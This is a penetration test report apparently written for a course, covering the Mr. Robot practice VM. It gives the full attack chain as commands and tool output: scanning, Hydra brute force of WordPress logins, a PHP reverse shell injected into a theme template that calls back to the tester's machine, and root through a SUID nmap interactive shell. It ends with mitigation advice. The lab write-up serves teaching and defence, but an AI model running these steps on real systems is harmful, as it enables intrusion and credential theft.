

# Penetration Test Report

ZHIYUN Co., Ltd.

November 10, 2025

**FENG LI**

160 Princess St  
Winnipeg, MB  
R3B 1K9

Tel: 1-200-000-0000  
Fax: 1-204-000-0000  
Email: fli5@academic.rrc.ca  
Web: [www.felix.com](http://www.felix.com)



## Contents

Executive Summary.....	3
Summary of Results.....	3
Attack Narrative .....	4
Remote System Discovery.....	4
Information Gathering .....	6
WordPress Authentication Bypass .....	8
Password Brute Force Attack .....	9
PHP Reverse Shell Injection.....	10
Privilege Escalation to Root.....	13
Conclusion.....	15
Recommendations .....	15
Mitigation Recommendations.....	15
Risk Rating .....	16
Appendix A: Vulnerability Detail and Mitigation .....	17
Information Disclosure via robots.txt .....	17
WordPress Brute Force Attack .....	17
WordPress Template Code Injection .....	18
SUID Binary Privilege Escalation (nmap).....	18
Weak Password Policy.....	19
Appendix B: About the Team.....	20



## Executive Summary

A comprehensive penetration test was conducted against the Mr. Robot virtual machine environment to evaluate its security posture and identify exploitable vulnerabilities. This assessment simulated a real-world attack scenario with objectives including:

- Determining whether an external attacker could gain unauthorized access to the system
- Assessing the impact of compromise on system confidentiality, integrity, and availability
- Identifying the complete attack chain from initial access to root-level compromise
- Capturing three hidden flags as proof of successful exploitation

The evaluation followed industry-standard penetration testing methodologies, focusing on demonstrating realistic attack paths that could be leveraged by malicious actors.

## Summary of Results

The assessment successfully identified a complete attack chain that led to a full system compromise. The following critical vulnerabilities were exploited:

### 1. Information Disclosure via robots.txt

Exposed sensitive files, including a dictionary file and flag locations, providing attackers with valuable reconnaissance data.

### 2. WordPress Authentication Brute Force

Weak credentials allowed successful brute force attacks against the WordPress login portal using the discovered dictionary file.

### 3. Insecure File Upload and Template Modification

WordPress template editing functionality enabled the injection of a PHP reverse shell payload, establishing initial system access.

### 4. Insufficient User Privilege Separation

A web server running with daemon privileges provided a foothold for further exploitation.

### 5. SUID Binary Misconfiguration

Legacy nmap binary with SUID root permissions enabled direct privilege escalation to root through interactive mode exploitation.

These vulnerabilities, when combined, allowed the assessment team to progress from unauthenticated external access to complete root-level system control, successfully capturing all three flags in the process.



## Attack Narrative

### Remote System Discovery

1. Scan all hosts within the same subnet mask

```
nmap 192.168.56.0/24
```

Target host identified at IP address 192.168.56.143 with ports 22 (closed), 80 (open), and 443 (open).

```
feng@kali-os: ~
[feng@kali-os: ~]
$ nmap 192.168.56.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-10 11:52 CST
Nmap scan report for 192.168.56.100
Host is up (0.00027s latency).
Not shown: 996 closed tcp ports (reset)
PORT      STATE SERVICE
53/tcp    open  domain
5000/tcp   open  upnp
5432/tcp   open  postgresql
7000/tcp   open  afs3-filesystem
MAC Address: A6:83:E7:2B:BD:64 (Unknown)

Nmap scan report for 192.168.56.109
Host is up (0.0023s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT      STATE SERVICE
22/tcp    closed  ssh
80/tcp    open   http
443/tcp   open   https
MAC Address: 3E:91:1C:88:CE:BA (Unknown)

Nmap scan report for 192.168.56.102
Host is up (0.0000040s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
MAC Address: 3E:91:1C:88:CE:BA (Unknown)

Nmap done: 256 IP addresses (3 hosts up) scanned in 9.02 seconds
```

Figure 1 - nmap\_scan\_hosts

2. Discover open ports and services

```
nmap -sV -O 192.168.56.109 -p1-65535
```

```
feng@kali-os: ~
[feng@kali-os: ~]
$ sudo nmap -sV -O 192.168.56.109
[sudo] password for feng:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-10 11:53 CST
Nmap scan report for 192.168.56.109
Host is up (0.0015s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
22/tcp    closed  ssh
80/tcp    open   http    Apache httpd
443/tcp   open   ssl/http Apache httpd
MAC Address: 3E:91:1C:88:CE:BA (Unknown)
Aggressive OS guesses: Linux 3.10 - 4.11 (98%), Linux 3.13 - 4.4 (98%), Linux 3.16 - 4.6 (96%), Linux 3.2 - 4.14 (94%), Linux 3.8 - 3.16 (94%), Linux 4.10 (94%), Linux 3.2 - 3.8 (93%), Linux 3.16 (93%), Linux 4.4 (93%), Linux 3.13 or 4.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 122.90 seconds
```

Figure 2 - nmap\_sacn\_detail

3. Use Dirb and Nikto tools to check if a website is running



```
nikto -h 192.168.56.109
```

The result indicates that an Apache Server is running.

```
feng@kali-os: ~/Documents/mrRobot
File Actions Edit View Help
(feng@kali-os)-[~/Documents]
$ cd mrRobot/
(feng@kali-os)-[~/Documents/mrRobot]
$ nikto -h 192.168.56.109
- Nikto v2.5.0

+ Target IP:      192.168.56.109
+ Target Hostname: 192.168.56.109
+ Target Port:    80
+ Start Time:    2025-11-10 11:56:36 (GMT-6)

+ Server: Apache
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /GmuIbAP.lasso: Retrieved x-powered-by header: PHP/5.5.29.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /index: Uncommon header 'tcn' found, with contents: list.
+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index' were found: index.html, index.php. See: http://www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275
+ /admin/: This might be interesting.
+ /readme: This might be interesting.
+ /image/: Drupal Link header found with value: <http://192.168.56.109/?p=23>; rel=shortlink. See: https://www.drupal.org/
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ /license.txt: License file found may identify site software.
+ /admin/index.html: Admin login page/section found.
+ /wp-login/: Cookie wordpress_test_cookie created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /wp-login/: Admin login page/section found.
+ /wordpress/: A Wordpress installation was found.
+ /wp-admin/wp-login.php: Wordpress login found.
+ /wordpress/wp-admin/wp-login.php: Wordpress login found.
+ /blog/wp-login.php: Wordpress login found.
+ /wp-login.php: Wordpress login found.
+ /wordpress/wp-login.php: Wordpress login found.
+ /wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8102 requests: 0 error(s) and 19 item(s) reported on remote host
+ End Time:        2025-11-10 12:01:35 (GMT-6) (299 seconds)

+ 1 host(s) tested
```

Figure 3 - nikto\_scan\_detail

```
dirb http://192.168.56.109
```

The following output indicates that we are detecting many URLs. So, there should be a website running on 192.168.56.109.



```
feng@kali-os: ~/Documents/mrRobot
File Actions Edit View Help
(feng@kali-os)-[~/Documents/mrRobot]
$ dirb http://192.168.56.109

DIRB v2.22 https://github.com/maurosoria/dirb
By The Dark Raver

START TIME: Mon Nov 10 12:05:59 2025
URL_BASE: http://192.168.56.109/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

[...]
GENERATED WORDS: 4612
[...]
Scanning URL: http://192.168.56.109/ ---
=> DIRECTORY: http://192.168.56.109/
=> DIRECTORY: http://192.168.56.109/admin/
+ http://192.168.56.109/atom (CODE:301|SIZE:0)
=> DIRECTORY: http://192.168.56.109/audio/
=> DIRECTORY: http://192.168.56.109/blog/
=> DIRECTORY: http://192.168.56.109/common/
+ http://192.168.56.109/dashboard (CODE:302|SIZE:0)
+ http://192.168.56.109/favicon.ico (CODE:200|SIZE:0)
=> DIRECTORY: http://192.168.56.109/feed/
=> DIRECTORY: http://192.168.56.109/image/
=> DIRECTORY: http://192.168.56.109/Image/
=> DIRECTORY: http://192.168.56.109/images/
+ http://192.168.56.109/index.html (CODE:200|SIZE:1077)
+ http://192.168.56.109/index.php (CODE:301|SIZE:0)
+ http://192.168.56.109/intro (CODE:200|SIZE:516314)
=> DIRECTORY: http://192.168.56.109/js/
+ http://192.168.56.109/license (CODE:200|SIZE:309)
+ http://192.168.56.109/Login (CODE:302|SIZE:0)
+ http://192.168.56.109/page1 (CODE:301|SIZE:0)
+ http://192.168.56.109/phpmyadmin (CODE:403|SIZE:94)
+ http://192.168.56.109/rdf (CODE:301|SIZE:0)
+ http://192.168.56.109/readme (CODE:200|SIZE:64)
+ http://192.168.56.109/robots (CODE:200|SIZE:41)
+ http://192.168.56.109/robots.txt (CODE:200|SIZE:41)
+ http://192.168.56.109/rss (CODE:301|SIZE:0)
+ http://192.168.56.109/rss2 (CODE:301|SIZE:0)
+ http://192.168.56.109/sitemap (CODE:200|SIZE:0)
+ http://192.168.56.109/sitemap.xml (CODE:200|SIZE:0)
=> DIRECTORY: http://192.168.56.109/video/
=> DIRECTORY: http://192.168.56.109/wp-admin/
+ http://192.168.56.109/wp-config (CODE:200|SIZE:0)
=> DIRECTORY: http://192.168.56.109/wp-content/
+ http://192.168.56.109/wp-cron (CODE:200|SIZE:0)
=> DIRECTORY: http://192.168.56.109/wp-includes/
+ http://192.168.56.109/wp-links-opml (CODE:200|SIZE:227)
+ http://192.168.56.109/wp-load (CODE:200|SIZE:0)
+ http://192.168.56.109/wordpress:xmlmap:xml?%C0%D0%F6%D7%51%2E%0
=> DIRECTORY: http://192.168.56.109/video/
=> DIRECTORY: http://192.168.56.109/wp-admin/
+ http://192.168.56.109/wp-config (CODE:200|SIZE:0)
=> DIRECTORY: http://192.168.56.109/wp-content/
+ http://192.168.56.109/wp-cron (CODE:200|SIZE:0)
=> DIRECTORY: http://192.168.56.109/wp-includes/
+ http://192.168.56.109/wp-links-opml (CODE:200|SIZE:227)
+ http://192.168.56.109/wp-load (CODE:200|SIZE:0)
+ http://192.168.56.109/wp-login (CODE:200|SIZE:2649)
+ http://192.168.56.109/wp-mail (CODE:500|SIZE:3064)
+ http://192.168.56.109/wp-settings (CODE:500|SIZE:0)
+ http://192.168.56.109/wp-signup (CODE:302|SIZE:0)
+ http://192.168.56.109/xmlrpc (CODE:405|SIZE:42)
+ http://192.168.56.109/xmlrpc.php (CODE:405|SIZE:42)

--- Entering directory: http://192.168.56.109/ ---
+ http://192.168.56.109/atom (CODE:301|SIZE:0)
=> DIRECTORY: http://192.168.56.109/feed/
+ http://192.168.56.109/index.php (CODE:301|SIZE:0)
+ http://192.168.56.109/rss (CODE:301|SIZE:0)
+ http://192.168.56.109/rss2 (CODE:301|SIZE:0)

[...]
X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
--- Entering directory: http://192.168.56.109/admin/ ---
+ http://192.168.56.109/admin/atom (CODE:301|SIZE:0)
=> DIRECTORY: http://192.168.56.109/admin/audio/
=> DIRECTORY: http://192.168.56.109/admin/css/
=> DIRECTORY: http://192.168.56.109/admin/feed/
=> DIRECTORY: http://192.168.56.109/admin/images/
+ http://192.168.56.109/admin/index (CODE:200|SIZE:1188)
```

Figure 4 – dirb\_scan\_192.168.56.107

## Information Gathering

### 1. robots.txt Analysis

<http://192.168.56.109/robots.txt>



Accessing <http://192.168.56.109/robots.txt> revealed two critical files:

- **key-1-of-3.txt** - First flag captured
- **fsociety.dic** - Dictionary file containing 858,160 entries

The screenshot shows a browser window displaying the contents of `robots.txt` and a terminal window showing the contents of `fsociety.dic`.

**Browser Content (robots.txt):**

```
User-agent: *
fsociety.dic
key-1-of-3.txt
```

**Terminal Content (fsociety.dic):**

```
feng@kali-os: ~/Documents/mrRobot
File Actions Edit View Help
+ http://192.168.56.109/admin/index (CODE:200)
+ http://192.168.56.109/admin/index.html (CODE:200)
+ http://192.168.56.109/admin/index.php (CODE:200)
+ http://192.168.56.109/admin/intro (CODE:200)
=> DIRECTORY: http://192.168.56.109/admin/js
+ http://192.168.56.109/admin/rdf (CODE:301)
+ http://192.168.56.109/admin/robot (CODE:200)
+ http://192.168.56.109/admin/robots (CODE:200)
+ http://192.168.56.109/admin/robots.txt (CODE:200)
+ http://192.168.56.109/admin/rss (CODE:301)
+ http://192.168.56.109/admin/rss2 (CODE:301)
=> DIRECTORY: http://192.168.56.109/admin/vi
____ Entering directory: http://192.168.56.109/
+ http://192.168.56.109/audio/atom (CODE:301)
=> DIRECTORY: http://192.168.56.109/audio/fe
+ http://192.168.56.109/audio/index.php (CODE:200)
+ http://192.168.56.109/audio/rdf (CODE:301)
+ http://192.168.56.109/audio/rss (CODE:301)
+ http://192.168.56.109/audio/rss2 (CODE:301)
+ http://192.168.56.109/audio/type (CODE:200)
____ Entering directory: http://192.168.56.109/blog/
+ http://192.168.56.109/blog/atom (CODE:301)
=> DIRECTORY: http://192.168.56.109/blog/fee
+ http://192.168.56.109/blog/index.php (CODE:200)
+ http://192.168.56.109/blog/rdf (CODE:301)
^C> Testing: http://192.168.56.109/blog/reser
(feng@kali-os)-[~/Documents/mrRobot]
```

Figure 12 - robots\_txt\_analysis

## 2. Download the dictionary file

```
mkdir ~/Documents/mrRobot
cd ~/Documents/mrRobot
wget http://192.168.56.109/fsociety.dic
```

The screenshot shows a terminal window displaying the command to download `fsociety.dic` from the specified URL.

```
feng@kali-os: ~/Documents/mrRobot
File Actions Edit View Help
feng@kali-os: ~/Documents/mrRobot
$ wget http://192.168.56.109/fsociety.dic
--2025-11-10 12:27:53-- http://192.168.56.109/fsociety.dic
Connecting to 192.168.56.109:80... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 7245381 (6.9M) [text/x-c]
Saving to: 'fsociety.dic.1'

fsociety.dic.1          100%[=====] 6.91M 11.5MB/s    in 0.6s

2025-11-10 12:27:53 (11.5 MB/s) - 'fsociety.dic.1' saved [7245381/7245381]
```

Figure 13 – dictionary\_download\_file

The screenshot shows a terminal window displaying the command to count the lines in `fsociety.dic`.

```
feng@kali-os: ~/Documents/mrRobot
File Actions Edit View Help
feng@kali-os: ~/Documents/mrRobot
$ wc -l fsociety.dic
858160 fsociety.dic
```

Figure 14 – dictionary\_count\_lines



### 3. Dictionary File Optimization

```
cat fsociety.dic | sort -u | uniq > newfsociety.dic
```

Duplicate entries removed, reducing the dictionary from 858,160 to 11,451 unique entries, significantly improving brute force attack efficiency.

```
feng@kali-os: ~/Documents/mrRobot
File Actions Edit View Help
(feng@kali-os)-[~/Documents/mrRobot]
$ cat fsociety.dic | sort -u | uniq > newfsociety.dic
(feng@kali-os)-[~/Documents/mrRobot]
$ ls
fsociety.dic newfsociety.dic
(feng@kali-os)-[~/Documents/mrRobot]
$ wc -l newfsociety.dic
11451 newfsociety.dic
```

Figure 15 – dictionary\_optimize\_lines

## WordPress Authentication Bypass

1. Open Firefox and go to the URL: <http://192.168.56.107/wp-login.php>

WordPress login error messages were leveraged to enumerate valid usernames. The application returned “Invalid username” for invalid usernames.

The screenshot shows a Firefox browser window with the URL <http://192.168.56.107/wp-login.php>. The page displays a WordPress login form with a blue 'W' logo at the top. An error message 'ERROR: Invalid username. [Lost your password?](#)' is shown above the form. The login fields are empty, with 'admin' typed into the 'Username' field. Below the fields are 'Password' and 'Remember Me' checkboxes, and a 'Log In' button. To the right of the browser is a terminal window titled 'feng@kali-os: ~/Documents/mrRobot'.

Figure 16 – wordpress\_try\_login

2. Hydra Brute Force Attack for Username

```
hydra -L newfsociety.dic -p whatever 192.168.56.109 http-post-form \
'/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username'
```

**Attack Parameters:**

- -L newfsociety.dic - Use dictionary file for username attempts
- -p whatever - Single arbitrary password (username enumeration only)
- http-post-form - HTTP POST request attack
- F=Invalid username - Failure string to identify invalid usernames

**Username "elliot" (and case variations) identified as valid.**

```
feng@kali-os: ~/Documents/mrRobot
File Actions Edit View Help
(feng@kali-os)-[~/Documents/mrRobot]
$ hydra -L newfsociety.dic -p whatever 192.168.56.109 http-post-form '/wp-login.php?log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username'
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-10 12:38:15
[DATA] max 16 tasks per 1 server, overall 16 tasks, 11452 login tries (l:11452/p:1), ~716 tries per task
[DATA] attacking http-post-form://192.168.56.109:80/wp-login.php?log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username
[STATUS] 2658.00 tries/min, 2658 tries in 00:01h, 8794 to do in 00:04h, 16 active
[80][http-post-form] host: 192.168.56.109 login: Elliot password: whatever
[80][http-post-form] host: 192.168.56.109 login: ELLIOT password: whatever
[80][http-post-form] host: 192.168.56.109 login: elliot password: whatever
[STATUS] 2435.00 tries/min, 7305 tries in 00:03h, 4147 to do in 00:02h, 16 active
[STATUS] 2359.75 tries/min, 9439 tries in 00:04h, 2013 to do in 00:01h, 16 active
```

Figure 17 – wordpress\_attack\_username

## Password Brute Force Attack

1. Since we have a correct username (Elliot), let's attempt to log in again

**The application returned error messages: “The password you entered for the username X is incorrect”, for a valid username with the wrong password.**

```
feng@kali-os: ~/Documents/mrRobot
File Actions Edit View Help
-binding, these ** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-10 12:38:15
[DATA] max 16 tasks per 1 server, overall 16 tasks, 11452 login tries (l:11452/p:1), ~716 tries per task
[DATA] attacking http-post-form://192.168.56.109:80/wp-login.php?log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username
[STATUS] 2658.00 tries/min, 2658 tries in 00:01h, 8794 to do in 00:04h, 16 active
[80][http-post-form] host: 192.168.56.109 login: Elliot password: whatever
[80][http-post-form] host: 192.168.56.109 login: ELLIOT password: whatever
[80][http-post-form] host: 192.168.56.109 login: elliot password: whatever
[STATUS] 2435.00 tries/min, 7305 tries in 00:03h, 4147 to do in 00:02h, 16 active
[STATUS] 2359.75 tries/min, 9439 tries in 00:04h, 2013 to do in 00:01h, 16 active
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume se
```

Figure 18 – wordpress\_retry\_login

2. Hydra Brute Force Attack for Password with a valid username



```
hydra -l elliot -P newfsociety.dic 192.168.56.109 http-post-form \
'/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect'
```

**Attack Parameters:**

- -l elliot - Target specific username
- -P newfsociety.dic - Dictionary file for password attempts
- F=is incorrect - Updated failure string for incorrect passwords

**Valid credentials discovered - elliot:ER28-0652**

```
feng@kali-os:~/Documents/mrRobot
File Actions Edit View Help
-finding, these *** ignore laws and ethics anyway). // 192.168.56.109/wp-login.php
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-10 12:38:15 DR Google Hacking DB
[DATA] max 16 tasks per 1 server, overall 16 tasks, 11452 login tries (l:11452/p:1), ~716 tries per task
[DATA] attacking http-post-form://192.168.56.109:80/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username
[STATUS] 2658.00 tries/min, 2658 tries in 00:01h, 8794 to do in 00:04h, 16 active
[80][http-post-form] host: 192.168.56.109 login: elliot password: whatever
[80][http-post-form] host: 192.168.56.109 login: ELLIOT password: whatever
[80][http-post-form] host: 192.168.56.109 login: elliot password: whatever
[STATUS] 2435.00 tries/min, 7305 tries in 00:03h, 4147 to do in 00:02h, 16 active
[STATUS] 2359.75 tries/min, 9439 tries in 00:04h, 2013 to do in 00:01h, 16 active
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.

(feng@kali-os)-[~/Documents/mrRobot]
$ hydra -l elliot -P newfsociety.dic 192.168.56.109 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect'
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non
-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-10 12:45:45 DR Google Hacking DB
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 11452 login tries (l:1/p:11452), ~716 tries per task
[DATA] attacking http-post-form://192.168.56.109:80/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect
[STATUS] 2702.00 tries/min, 2702 tries in 00:01h, 8750 to do in 00:04h, 16 active
[80][http-post-form] host: 192.168.56.109 login: elliot password: ER28-0652
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-11-10 12:48:08
```

**Figure 19 – wordpress\_attack\_password**

## PHP Reverse Shell Injection

### 1. Locate the reverse shell payload

```
sudo find / -name php-reverse-shell.php -print
cd /user/share/webshells/php
```



The screenshot shows a terminal window titled 'feng@kali-os: /usr/share/webshells/php'. The user has run a command to find files named 'php-reverse-shell.php' and has navigated to the directory containing these files. The terminal shows several PHP files, including 'php-backdoor.php', 'php-reverse-shell.php', 'qsd-php-backdoor.php', and 'simple-backdoor.php'. The file 'php-reverse-shell.php' is highlighted in blue, indicating it is the target or currently selected file.

Figure 20 – locate\_reverse\_shell

## 2. Payload Injection and configuration

The modified reverse shell code was injected into the WordPress 404.php template via:

- 1) WordPress Dashboard → Appearance → Editor
- 2) Selected: 404 Template
- 3) Injected: Complete PHP reverse shell code
- 4) Action: Update File

The PHP reverse shell was modified with attacker-controlled (Kali) IP:

\$ip = '192.168.56.102';



The screenshot shows a Kali Linux desktop environment. A terminal window is open with the command:

```
feng@kali-os: /usr/share/webshells/php
```

The terminal output shows a reverse shell being established:valid\_lft 2591907sec preferred\_lft 604707s  
inet6 fe80::2864:8c67:6ae:6c8c/64 scope link  
valid\_lft forever preferred\_lft forever  
3: eth1: <BROADCAST,MULTICAST,UP,LOWER\_UP> mtu 1500  
link/ether e2:2a:ed:d2:40:a6 brd ff:ff:ff:ff:ff:ff  
inet 192.168.56.102/24 brd 192.168.56.255 sco  
valid\_lft 3077sec preferred\_lft 2627sec  
inet6 fe80::d120:54fa:15ca:2ca/64 scope link  
valid\_lft forever preferred\_lft forever

The terminal also shows the exploit code being injected into the 404.php file:

```
// The recipient will be given a shell running as root.  
//  
// Limitations  
// -----  
// proc_open and stream_set_blocking require PHP 5.3+  
// Use of stream_select() on file descriptors return valid_lft forever preferred_lft forever under Windows.  
// Some compile-time options are needed for this to work.  
//  
// Usage  
// -----  
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.  
  
set_time_limit (0);  
$VERSION = "1.0";  
$ip = '192.168.56.102'; // CHANGE THIS  
$port = 1234; // CHANGE THIS  
$chunk_size = 1400;  
$write_a = null;  
$error_a = null;  
$shell = 'uname -a; w; id; /bin/sh -i';
```

Figure 21 – wordpress\_payload\_injection

### 3. Listener Establishment and Trigger Exploitation

```
nc -nvlp 1234
```

Reverse shell triggered by requesting <http://192.168.56.109/404.php>

The screenshot shows a Kali Linux desktop environment. A terminal window is overlaid on a WordPress blog page. The terminal output shows a reverse shell session:

```
listening on [any] 1234 ...  
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.109] 57186  
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU /Linux  
19:06:07 up 1:16, 0 users, load average: 0.00  
, 0.09, 0.62  
USER TTY FROM LOGIN IDLE  
JCPU PCPU WHAT  
uid=1(daemon) gid=1(daemon) groups=1(daemon)  
/bin/sh: 0: can't access tty; job control turned off  
$ whoami  
daemon  
$ python -c 'import pty; pty.spawn("/bin/bash")'  
daemon@linux:/$
```

Figure 22 – wordpress\_trigger\_exploitation



## Privilege Escalation to Root

1. Search for executables with SUID bit set (potential privilege escalation vectors):

```
find / -perm -4000 2>/dev/null
```

**Legacy nmap binary (version 3.81) with SUID root permissions discovered. Older nmap versions included an interactive mode that could spawn shells, inheriting the SUID permissions.**

```
feng@kali-os: /usr/share/webshells/php
File Actions Edit View Help
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.109] 57186
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU
/Linux
19:06:07 up 1:16, 0 users, load average: 0.00
, 0.09, 0.62
USER TTY FROM LOGIN@ IDLE
JCPU PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
just another WordPress site
$ whoami
daemon
$ python -c 'import pty; pty.spawn("/bin/bash")'
daemon@linux:/$ whoami
whoami
daemon
daemon@linux:/$ find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown
daemon@linux:$
```

Oops! That page can't be found.

It looks like nothing was found at this location. Maybe try a search?

Search ...

Figure 23 - executables\_with\_suid

2. Using Nmap in Interactive Mode for Exploitation

```
/usr/local/bin/nmap –interactive
!sh
```

**Full root-level system compromise achieved.**



```
feng@kali-os:/usr/share/webshells/php
File Actions Edit View Help
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown
daemon@linux:~$ cler
cler
bash: cler: command not found
daemon@linux:~$ clear
clear
TERM environment variable not set.
daemon@linux:~$ nmap --interactive
nmap --interactive
bash: nmap: command not found
daemon@linux:~$ /usr/local/bin/nmap --interactive
/usr/local/bin/nmap --interactive
bash: /usr/local/bin/nmap: No such file or directory
daemon@linux:~$ /usr/local/bin/nmap --interactive
/usr/local/bin/nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !bash
!bash
bash-4.3$ whoami
whoami
daemon
bash-4.3$ exit
exit
exit
waiting to reap child : No child processes
nmap> !sh
!sh
# whoami
whoami
root
#
```

Figure 24 - exploit\_using\_nmap



## Conclusion

The Mr. Robot virtual machine demonstrated multiple severe security vulnerabilities that enabled a complete compromise, ranging from external network access to full root-level system control. The attack chain progressed through the following stages:

- Information disclosure via the robots.txt file exposure
- WordPress authentication bypass through brute force attacks
- Remote code execution via PHP reverse shell injection
- Privilege escalation through a misconfigured SUID nmap binary

The goals of the penetration test were met. A targeted attacker with basic reconnaissance capabilities could reliably compromise the environment and gain unrestricted control. All three flags were successfully captured, demonstrating complete system compromise.

## Recommendations

To maintain a secure operating environment, the organization should adopt a comprehensive defence-in-depth strategy that includes timely patching, continuous monitoring, and user awareness training.

Security policies should mandate regular penetration testing, vulnerability scanning, and incident response readiness reviews at least annually or after significant infrastructure changes.

All systems and applications exposed to the Internet must be hardened, monitored, and isolated within segmented network zones.

### Mitigation Recommendations

- Remove SUID permissions from the nmap binary or update to a modern version that does not support interactive mode.
- Use generic error messages that do not reveal whether usernames are valid to prevent enumeration attacks.
- Enforce strong password policies with minimum complexity requirements and consider implementing multi-factor authentication.
- Remove sensitive information from publicly accessible files, such as robots.txt, and ensure that proper access controls are in place.
- Ensure that all web and application services operate under minimally privileged OS accounts with restricted file system access.



- Implement a Web Application Firewall (WAF) to detect and block common attack patterns, including code injection attempts.
- Deploy file integrity monitoring to detect unauthorized modifications to critical system and application files.

## Risk Rating

The overall risk identified in this assessment is evaluated as **Critical**, driven by the presence of multiple severe misconfigurations and application-layer vulnerabilities that provide a clear and reliable path to full system compromise.

A complete attack chain exists from the web application interface through credential compromise, remote code execution, and ultimately root-level privilege escalation via the SUID nmap binary. Each vulnerability demonstrates high exploitability and high potential impact, and chaining these issues requires only moderate skill and readily available tools from the attacker.

As a result, it is reasonable to conclude that a malicious actor with similar capabilities could successfully execute an attack leading to:

- Unauthorized access to internal systems, databases, and sensitive information
- Compromise of valid user credentials, enabling lateral movement and persistent access
- Execution of arbitrary commands resulting in data exfiltration, service disruption, or whole host takeover
- Installation of backdoors and rootkits for long-term persistent access
- Complete control over the compromised system, including all data and services

Given the severity and exploitability of the identified weaknesses, immediate remediation and strengthened ongoing security governance practices are strongly recommended to reduce the organization's exposure and prevent recurrence.



## Appendix A: Vulnerability Detail and Mitigation

### Information Disclosure via robots.txt

**Rating:** Medium

**Description:** The robots.txt file exposed sensitive information including system structure, flag locations, and a dictionary file containing 858,160 entries. This publicly accessible file provided valuable reconnaissance data for targeted attacks.

**Impact:** Exposes system architecture and file locations to unauthorized users. Provides ready-made wordlists for password attacks, significantly reducing attack complexity. Enables more targeted and efficient exploitation.

**Remediation:** Remove sensitive information from robots.txt files. Store sensitive files outside web-accessible directories with proper access controls. Conduct regular audits of publicly accessible files and directories. Implement Web Application Firewall (WAF) rules to detect suspicious file access patterns.

- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Actor: <https://cwe.mitre.org/data/definitions/200.html>

### WordPress Brute Force Attack

**Rating:** High

**Description:** WordPress authentication lacked rate limiting and account lockout mechanisms. Distinct error messages enabled username enumeration ("Invalid username" vs "password is incorrect"), facilitating systematic brute force attacks.

